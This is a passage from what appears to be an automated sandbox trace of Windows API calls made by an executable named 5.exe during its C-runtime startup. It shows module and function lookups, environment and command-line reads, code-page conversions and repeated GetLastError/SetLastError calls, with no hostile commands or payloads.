(lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.432] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0050.432] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0050.432] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0050.432] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0050.432] GetCurrentThreadId () returned 0x6e4 [0050.432] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\5.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0050.432] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x8, Size=0x800) returned 0x1e709f0 [0050.433] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0050.433] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0050.433] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0050.433] SetHandleCount (uNumber=0x20) returned 0x20 [0050.433] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\5.exe\" " [0050.433] GetEnvironmentStringsW () returned 0x551e98* [0050.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0050.433] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x0, Size=0x565) returned 0x1e711f8 [0050.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x1e711f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0050.433] FreeEnvironmentStringsW (penv=0x551e98) returned 1 [0050.433] GetLastError () returned 0x0 [0050.433] SetLastError (dwErrCode=0x0) [0050.433] GetLastError () returned 0x0 [0050.433] SetLastError (dwErrCode=0x0) [0050.433] GetLastError () returned 0x0 [0050.433] SetLastError (dwErrCode=0x0) [0050.433] GetACP () returned 0x4e4 [0050.433] RtlAllocateHeap (HeapHandle=0x1e70000, Flags=0x0, Size=0x220) returned 0x1e71768 [0050.433] GetLastError () returned 0x0 [0050.433] SetLastError (dwErrCode=0x0) [0050.433] IsValidCodePage (CodePage=0x4e4) returned 1 [0050.433] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0050.433] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0050.433] GetLastError () returned 0x0 [0050.434] SetLastError (dwErrCode=0x0) [0050.434] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0050.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0050.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0050.434] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0050.434] GetLastError () returned 0x0 [0050.434] SetLastError (dwErrCode=0x0) [0050.434] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0050.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0050.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ@Ā") returned 256 [0050.434] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0050.434] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ@Ā", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0050.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xd8\xed\x5d\xf7\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0050.434] GetLastError () returned 0x0 [0050.434] SetLastError (dwErrCode=0x0) [0050.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0050.434] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ@Ā") returned 256 [0050.434] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0050.434] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ@Ā", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0050.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xd8\xed\x5d\xf7\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0050.434] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x4332d0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\5.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\d5bfbe52-943a-4f73-97b1-39918fa00598\\5.exe")) returned 0x56 [0050.434] GetLastError () returned 0x0 [0050.434] SetLastError (dwErrCode=0x0) [0050.434] GetLastError () returned 0x0 [0050.435] SetLastError (dwErrCode=0x0) [0050.435] GetLastError () returned 0x0 [0050.435] SetLastError (dwErrCode=0x0) [0050.435] GetLastError () returned 0x0 [0050.435] SetLastError (dwErrCode=0x0) [0050.436] GetLastError () returned 0x0 [0050.436] SetLastError (dwErrCode=0x0) [0050.436] GetLastError () returned 0x0 [0050.436] SetLastError (dwErrCode=0x0) [0050.436] GetLastError () returned 0x0 [0050.436] SetLastError (dwErrCode=0x0) [0050.436] GetLastError () returned 0x0 [0050.436] SetLastError (dwErrCode=0x0) [0050.436] GetLastError () returned 0x0 [0050.436] SetLastError (dwErrCode=0x0) [0050.436] GetLastError () returned 0x0 [0050.436] SetLastError (dwErrCode=0x0) [0050.436] GetLastError () returned 0x0 [0050.436] SetLastError (dwErrCode=0x0) [0050.436] GetLastError () returned 0x0 [0050.436] SetLastError (dwErrCode=0x0) [0050.436] GetLastError () returned 0x0 [0050.436] SetLastError (dwErrCode=0x0) [0050.436] GetLastError () returned 0x0 [0050.436] SetLastError (dwErrCode=0x0) [0050.436] GetLastError () returned 0x0 [0050.436] SetLastError (dwErrCode=0x0) [0050.436] GetLastError () returned 0x0 [0050.437] SetLastError (dwErrCode=0x0) [0050.437] GetLastError () returned 0x0 [0050.437] SetLastError (dwErrCode=0x0) [0050.437] GetLastError () returned 0x0 [0050.437] SetLastError (dwErrCode=0x0) [0050.437] GetLastError () returned 0x0 [0050.437] SetLastError (dwErrCode=0x0) [0050.437] GetLastError () returned 0x0 [0050.437] SetLastError (dwErrCode=0x0) [0050.437] GetLastError () returned 0x0 [0050.437] SetLastError (dwErrCode=0x0) [0050.437] GetLastError () returned 0x0 [0050.437] SetLastError (dwErrCode=0x0) [0050.437] GetLastError () returned 0x0 [0050.437] SetLastError (dwErrCode=0x0) [0050.437] GetLastError () returned 0x0 [0050.437] SetLastError (dwErrCode=0x0) [0050.437] GetLastError () returned 0x0 [0050.437] SetLastError (dwErrCode=0x0) [0050.437] GetLastError () returned 0x0 [0050.437] SetLastError (dwErrCode=0x0) [0050.437] GetLastError () returned 0x0 [0050.437] SetLastError (dwErrCode=0x0) [0050.437] GetLastError () returned 0x0 [0050.438] SetLastError (dwErrCode=0x0) [0050.438] GetLastError () returned 0x0 [0050.438] SetLastError (dwErrCode=0x0) [0050.438] GetLastError () returned 0x0 [0050.438] SetLastError (dwErrCode=0x0) [0050.438] GetLastError () returned 0x0 [0050.438] SetLastError (dwErrCode=0x0) [0050.438] GetLastError () returned 0x0 [0050.438] SetLastError (dwErrCode=0x0) [0050.438] GetLastError () returned 0x0 [0050.438] SetLastError (dwErrCode=0x0) [0050.438] GetLastError () returned 0x0 [0050.438] SetLastError (dwErrCode=0x0) [0050.438] GetLastError () returned 0x0 [0050.438] SetLastError (dwErrCode=0x0) [0050.438] GetLastError () returned 0x0 [0050.438] SetLastError (dwErrCode=0x0) [0050.438] GetLastError () returned 0x0 [0050.438] SetLastError (dwErrCode=0x0) [0050.438] GetLastError () returned 0x0 [0050.438] SetLastError (dwErrCode=0x0) [0050.438] GetLastError () returned 0x0 [0050.438] SetLastError (dwErrCode=0x0) [0050.438] GetLastError () returned 0x0 [0050.438] SetLastError (dwErrCode=0x0) [0050.439] GetLastError () returned 0x0 [0050.439] SetLastError (dwErrCode=0x0) [0050.439] GetLastError () returned 0x0 [0050.439] SetLastError (dwErrCode=0x0) [0050.439] GetLastError () returned 0x0 [0050.439] SetLastError (dwErrCode=0x0) [0050.439] GetLastError () returned 0x0 [0050.439] SetLastError (dwErrCode=0x0) [0050.439] GetLastError () returned 0x0 [0050.439] SetLastError (dwErrCode=0x0) [0050.439] GetLastError () returned 0x0 [0050.439] SetLastError (dwErrCode=0x0) [0050.439] GetLastError () returned 0x0 [0050.439] 